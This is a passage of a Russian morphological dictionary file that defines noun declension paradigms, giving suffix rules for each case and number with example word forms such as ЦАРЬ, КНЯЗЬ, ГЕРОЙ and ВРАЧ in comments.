ЧИСЛО:ЕД { "%+А" } // ЭТАЖА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+ОМ" } // ЭТАЖОМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ЭТАЖ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%+У" } // ЭТАЖУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%+Е" } // ЭТАЖЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%+И" } :: flexer "pl" // ЭТАЖИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%+ЕЙ" } :: flexer "pl" // ЭТАЖЕЙ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+АМИ" } :: flexer "pl" // ЭТАЖАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%+И" } :: flexer "pl" // ЭТАЖИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+АМ" } :: flexer "pl" // ЭТАЖАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+АХ" } :: flexer "pl" // ЭТАЖАХ } paradigm /*ЛАРЬ*/ Сущ_1010 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ЛАРЬ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Я" } // ЛАРЯ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕМ" } // ЛАРЕМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ЛАРЬ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Ю" } // ЛАРЮ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ЛАРЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ЛАРИ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+Я" } :: flexer "x" // ЛАГЕРЯ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+ЕЙ" } :: flexer "pl" // ЛАРЕЙ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+ЯМИ" } :: flexer "pl" // ЛАРЯМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ЛАРИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+ЯМ" } :: flexer "pl" // ЛАРЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+ЯХ" } :: flexer "pl" // ЛАРЯХ } paradigm ЦАРЬ, Сущ_1011 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)Ь" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ЦАРЬ ЦАРИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Я" "%-1%+ЕЙ" } // ЦАРЯ ЦАРЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЁМ" "%-1%+ЯМИ" } // ЦАРЁМ ЦАРЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Я" "%-1%+ЕЙ" } // ЦАРЯ ЦАРЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Ю" "%-1%+ЯМ" } // ЦАРЮ ЦАРЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЯХ" } // ЦАРЕ ЦАРЯХ } paradigm КНЯЗЬ, Сущ_1012 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)Ь" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+Я" } // КНЯЗЬ КНЯЗЬЯ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Я" "%-1%+ЕЙ" } // КНЯЗЯ КНЯЗЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕМ" "%+ЯМИ" } // КНЯЗЕМ КНЯЗЬЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Я" "%-1%+ЕЙ" } // КНЯЗЯ КНЯЗЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Ю" "%+ЯМ" } // КНЯЗЮ КНЯЗЬЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%+ЯХ" } // КНЯЗЕ КНЯЗЬЯХ } paradigm /*ЛЕС*/ Сущ_1013 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+А" } // ЛЕС ЛЕСА ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ОВ" } // ЛЕСА ЛЕСОВ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+АМИ" } // ЛЕСОМ ЛЕСАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%+А" } // ЛЕС ЛЕСА ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // ЛЕСУ ЛЕСАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // ЛЕСЕ ЛЕСАХ ПАДЕЖ:(МЕСТ) ЧИСЛО:ЕД { "%+У" } // ЛЕСУ } paradigm ГЕРОЙ, Сущ_1015_одуш : СУЩЕСТВИТЕЛЬНОЕ for "(.+)Й" { РОД:МУЖ ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ГЕРОЙ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Я" } // ГЕРОЯ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕМ" } // ГЕРОЕМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+Я" } // ГЕРОЯ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Ю" } // ГЕРОЮ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ГЕРОЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ГЕРОИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+ЕВ" } :: flexer "pl" // ГЕРОЕВ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+ЯМИ" } :: flexer "pl" // ГЕРОЯМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+ЕВ" } :: flexer "pl" // ГЕРОЕВ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+ЯМ" } :: flexer "pl" // ГЕРОЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+ЯХ" } :: flexer "pl" // ГЕРОЯХ } paradigm Сергий : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ИЙ" { РОД:МУЖ ОДУШ:ОДУШ ПЕРЕЧИСЛИМОСТЬ:НЕТ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // Сергий ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Я" } // Сергия ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕМ" } // Сергием ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+Я" } // Сергия ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Ю" } // Сергию ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+И" } // Сергии } paradigm бобслей, Сущ_1015_неодуш : СУЩЕСТВИТЕЛЬНОЕ for "(.+)Й" { РОД:МУЖ ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // бобслей ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Я" } // бобслея ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕМ" } // бобслеем ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // бобслей ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Ю" } // бобслею ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // бобслее ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // бобслеи ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+ЕВ" } :: flexer "pl" // бобслеев ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+ЯМИ" } :: flexer "pl" // бобслеями ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // бобслеи ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+ЯМ" } :: flexer "pl" // бобслеям ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+ЯХ" } :: flexer "pl" // бобслеях } paradigm лепрозорий : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ИЙ" { РОД:МУЖ ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // лепрозорий ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Я" } // лепрозория ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕМ" } // лепрозорием ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // лепрозорий ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Ю" } // лепрозорию ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+И" } // лепрозории ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // лепрозории ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+ЕВ" } :: flexer "pl" // лепрозориев ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+ЯМИ" } :: flexer "pl" // лепрозориями ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // лепрозории ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+ЯМ" } :: flexer "pl" // лепрозориям ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+ЯХ" } :: flexer "pl" // лепрозориях } paradigm МЕДВЕЖОНОК, Сущ_1016 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)НОК" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-4%+АТА" } // МЕДВЕЖОНОК МЕДВЕЖАТА ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+КА" "%-4%+АТ" } // МЕДВЕЖОНКА МЕДВЕЖАТ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+КОМ" "%-4%+АТАМИ" } // МЕДВЕЖОНКОМ МЕДВЕЖАТАМИ ПАДЕЖ:ВИН ЧИСЛО { "%-2%+КА" "%-4%+АТ" } // МЕДВЕЖОНКА МЕДВЕЖАТ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+КУ" "%-4%+АТАМ" } // МЕДВЕЖОНКУ МЕДВЕЖАТАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+КЕ" "%-4%+АТАХ" } // МЕДВЕЖОНКЕ МЕДВЕЖАТАХ } paradigm ПОРОСЁНОК, Сущ_1017 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[ЕЁ]НОК" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-4%+ЯТА" } // ПОРОСЁНОК ПОРОСЯТА ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+КА" "%-4%+ЯТ" } // ПОРОСЁНКА ПОРОСЯТ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+КОМ" "%-4%+ЯТАМИ" } // ПОРОСЁНКОМ ПОРОСЯТАМИ ПАДЕЖ:ВИН ЧИСЛО { "%-2%+КА" "%-4%+ЯТ" } // ПОРОСЁНКА ПОРОСЯТ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+КУ" "%-4%+ЯТАМ" } // ПОРОСЁНКУ ПОРОСЯТАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+КЕ" "%-4%+ЯТАХ" } // ПОРОСЁНКЕ ПОРОСЯТАХ } paradigm ДВОРЯНИН, Сущ_1018 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)НИН" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+Е" } // ДВОРЯНИН ДВОРЯНЕ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%-2" } // ДВОРЯНИНА ДВОРЯН ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%-2%+АМИ" } // ДВОРЯНИНОМ ДВОРЯНАМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%-2" } // ДВОРЯНИНА ДВОРЯН ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%-2%+АМ" } // ДВОРЯНИНУ ДВОРЯНАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%-2%+АХ" } // ДВОРЯНИНЕ ДВОРЯНАХ } paradigm /*ХОЗЯИН*/ Сущ_1019 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ЕВА" } // ХОЗЯИН ХОЗЯЕВА ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%-2%+ЕВ" } // ХОЗЯИНА ХОЗЯЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%-2%+ЕВАМИ" } // ХОЗЯИНОМ ХОЗЯЕВАМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%-2%+ЕВ" } // ХОЗЯИНА ХОЗЯЕВ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%-2%+ЕВАМ" } // ХОЗЯИНУ ХОЗЯЕВАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%-2%+ЕВАХ" } // ХОЗЯИНЕ ХОЗЯЕВАХ } paradigm /*ТАТАРИН*/ Сущ_1020 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+Ы" } // ТАТАРИН ТАТАРЫ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%-2" } // ТАТАРИНА ТАТАР ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%-2%+АМИ" } // ТАТАРИНОМ ТАТАРАМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%-2" } // ТАТАРИНА ТАТАР ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%-2%+АМ" } // ТАТАРИНУ ТАТАРАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%-2%+АХ" } // ТАТАРИНЕ ТАТАРАХ } paradigm ЦВЕТОК, Сущ_1021 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ОК" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%c1%+И" } // ЦВЕТОК ЦВЕТКИ ПАДЕЖ:(РОД) ЧИСЛО { "%c1%+А" "%c1%+ОВ" } // ЦВЕТКА ЦВЕТКОВ ПАДЕЖ:ТВОР ЧИСЛО { "%c1%+ОМ" "%c1%+АМИ" } // ЦВЕТКОМ ЦВЕТКАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%c1%+И" } // ЦВЕТОК ЦВЕТКИ ПАДЕЖ:ДАТ ЧИСЛО { "%c1%+У" "%c1%+АМ" } // ЦВЕТКУ ЦВЕТКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%c1%+Е" "%c1%+АХ" } // ЦВЕТКЕ ЦВЕТКАХ } paradigm /*КОФЕ*/ Сущ_1025 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // КОФЕ --- ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "" } // КОФЕ --- ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "" } // КОФЕ --- ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // КОФЕ --- ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "" } // КОФЕ --- ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "" } // КОФЕ --- } paradigm КЕНГУРУ, Сущ_1026 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)У" { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // КЕНГУРУ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "" } // КЕНГУРУ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "" } // КЕНГУРУ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // КЕНГУРУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "" } // КЕНГУРУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "" } // КЕНГУРУ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "" } :: flexer "pl" // КЕНГУРУ ПАДЕЖ:(РОД) ЧИСЛО:МН { "" } :: flexer "pl" // КЕНГУРУ ПАДЕЖ:ТВОР ЧИСЛО:МН { "" } :: flexer "pl" // КЕНГУРУ ПАДЕЖ:ВИН ЧИСЛО:МН { "" } :: flexer "pl" // КЕНГУРУ ПАДЕЖ:ДАТ ЧИСЛО:МН { "" } :: flexer "pl" // КЕНГУРУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "" } :: flexer "pl" // КЕНГУРУ } paradigm ИЗБРАННИК, Сущ_1027 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ИК" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+И" } // ИЗБРАННИК ИЗБРАННИКИ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ОВ" } // ИЗБРАННИКА ИЗБРАННИКОВ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+АМИ" } // ИЗБРАННИКОМ ИЗБРАННИКАМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%+ОВ" } // ИЗБРАННИКА ИЗБРАННИКОВ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // ИЗБРАННИКУ ИЗБРАННИКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // ИЗБРАННИКЕ ИЗБРАННИКАХ } paradigm БУЛЬДОГ, Сущ_1042a : СУЩЕСТВИТЕЛЬНОЕ for "(.+)Г" { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ДОГ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%+А" } // ДОГА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+ОМ" } // ДОГОМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%+А" } // ДОГА ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%+У" } // ДОГУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%+Е" } // ДОГЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%+И" } :: flexer "pl" // ДОГИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%+ОВ" } :: flexer "pl" // ДОГОВ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+АМИ" } :: flexer "pl" // ДОГАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%+ОВ" } :: flexer "pl" // ДОГОВ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+АМ" } :: flexer "pl" // ДОГАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+АХ" } :: flexer "pl" // ДОГАХ } paradigm ПРОЛОГ, Сущ_1042 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)Г" { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ПРОЛОГ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%+А" } // ПРОЛОГА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+ОМ" } // ПРОЛОГОМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ПРОЛОГА ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%+У" } // ПРОЛОГУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%+Е" } // ПРОЛОГЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%+И" } :: flexer "pl" // ПРОЛОГИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%+ОВ" } :: flexer "pl" // ПРОЛОГОВ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+АМИ" } :: flexer "pl" // ПРОЛОГАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%+И" } :: flexer "pl" // ПРОЛОГИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+АМ" } :: flexer "pl" // ПРОЛОГАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+АХ" } :: flexer "pl" // ПРОЛОГАХ } paradigm БУДЕНЬ, Сущ_1029 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)НЬ" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-3%+НИ" } // БУДЕНЬ БУДНИ ПАДЕЖ:(РОД) ЧИСЛО { "%-3%+НЯ" "%-3%+НЕЙ" } // БУДНЯ БУДНЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-3%+НЕМ" "%-3%+НЯМИ" } // БУДНЕМ БУДНЯМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-3%+НИ" } // БУДЕНЬ БУДНИ ПАДЕЖ:ДАТ ЧИСЛО { "%-3%+НЮ" "%-3%+НЯМ" } // БУДНЮ БУДНЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-3%+НЕ" "%-3%+НЯХ" } // БУДНЕ БУДНЯХ } paradigm /*ПАРЕНЬ*/ Сущ_1030 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-3%+НИ" } // ПАРЕНЬ ПАРНИ ПАДЕЖ:(РОД) ЧИСЛО { "%-3%+НЯ" "%-3%+НЕЙ" } // ПАРНЯ ПАРНЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-3%+НЕМ" "%-3%+НЯМИ" } // ПАРНЕМ ПАРНЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%-3%+НЯ" "%-3%+НЕЙ" } // ПАРНЯ ПАРНЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%-3%+НЮ" "%-3%+НЯМ" } // ПАРНЮ ПАРНЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-3%+НЕ" "%-3%+НЯХ" } // ПАРНЕ ПАРНЯХ } paradigm КАМЕШЕК, Сущ_1032_неодуш : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[ЧШ]ЕК" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%c1%+И" } // КАМЕШЕК КАМЕШКИ ПАДЕЖ:(РОД) ЧИСЛО { "%c1%+А" "%c1%+ОВ" } // КАМЕШКА КАМЕШКОВ ПАДЕЖ:ТВОР ЧИСЛО { "%c1%+ОМ" "%c1%+АМИ" } // КАМЕШКОМ КАМЕШКАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%c1%+И" } // КАМЕШЕК КАМЕШКИ ПАДЕЖ:ДАТ ЧИСЛО { "%c1%+У" "%c1%+АМ" } // КАМЕШКУ КАМЕШКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%c1%+Е" "%c1%+АХ" } // КАМЕШКЕ КАМЕШКАХ } paradigm ПОРОСЁНОЧЕК, Сущ_1032_одуш : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[ЧШ]ЕК" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%c1%+И" } // ПОРОСЁНОЧЕК ПОРОСЁНОЧКИ ПАДЕЖ:(РОД) ЧИСЛО { "%c1%+А" "%c1%+ОВ" } // ПОРОСЁНОЧКА ПОРОСЁНОЧКОВ ПАДЕЖ:ТВОР ЧИСЛО { "%c1%+ОМ" "%c1%+АМИ" } // ПОРОСЁНОЧКОМ ПОРОСЁНОЧКАМИ ПАДЕЖ:ВИН ЧИСЛО { "%c1%+А" "%c1%+ОВ" } // ПОРОСЁНОЧКА ПОРОСЁНОЧКОВ ПАДЕЖ:ДАТ ЧИСЛО { "%c1%+У" "%c1%+АМ" } // ПОРОСЁНОЧКУ ПОРОСЁНОЧКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%c1%+Е" "%c1%+АХ" } // ПОРОСЁНОЧКЕ ПОРОСЁНОЧКАХ } paradigm /*ГОСПОДИН*/ Сущ_1033 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+А" } // ГОСПОДИН ГОСПОДА ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%-2" } // ГОСПОДИНА ГОСПОД ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%-2%+АМИ" } // ГОСПОДИНОМ ГОСПОДАМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%-2" } // ГОСПОДИНА ГОСПОД ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%-2%+АМ" } // ГОСПОДИНУ ГОСПОДАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%-2%+АХ" } // ГОСПОДИНЕ ГОСПОДАХ } paradigm /*МАСТЕР*/ Сущ_1035 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+А" } // МАСТЕР МАСТЕРА ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ОВ" } // МАСТЕРА МАСТЕРОВ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+АМИ" } // МАСТЕРОМ МАСТЕРАМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%+ОВ" } // МАСТЕРА МАСТЕРОВ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // МАСТЕРУ МАСТЕРАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // МАСТЕРЕ МАСТЕРАХ } paradigm /*ГОРОД*/ Сущ_1036 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+А" } // ГОРОД ГОРОДА ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ОВ" } // ГОРОДА ГОРОДОВ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+АМИ" } // ГОРОДОМ ГОРОДАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%+А" } // ГОРОД ГОРОДА ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // ГОРОДУ ГОРОДАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // ГОРОДЕ ГОРОДАХ } paradigm ВРАЧ, Сущ_1037 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)Ч" { РОД:МУЖ ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ВРАЧ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%+А" } // ВРАЧА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+ОМ" } // ВРАЧОМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%+А" } // ВРАЧА ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%+У" } // ВРАЧУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%+Е" } // ВРАЧЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%+И" } :: flexer "pl" // ВРАЧИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%+ЕЙ" } :: flexer "pl" // ВРАЧЕЙ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+АМИ" } :: flexer "pl" // ВРАЧАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%+ЕЙ" } :: flexer "pl" // ВРАЧЕЙ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+АМ" } :: flexer "pl" // ВРАЧАМ 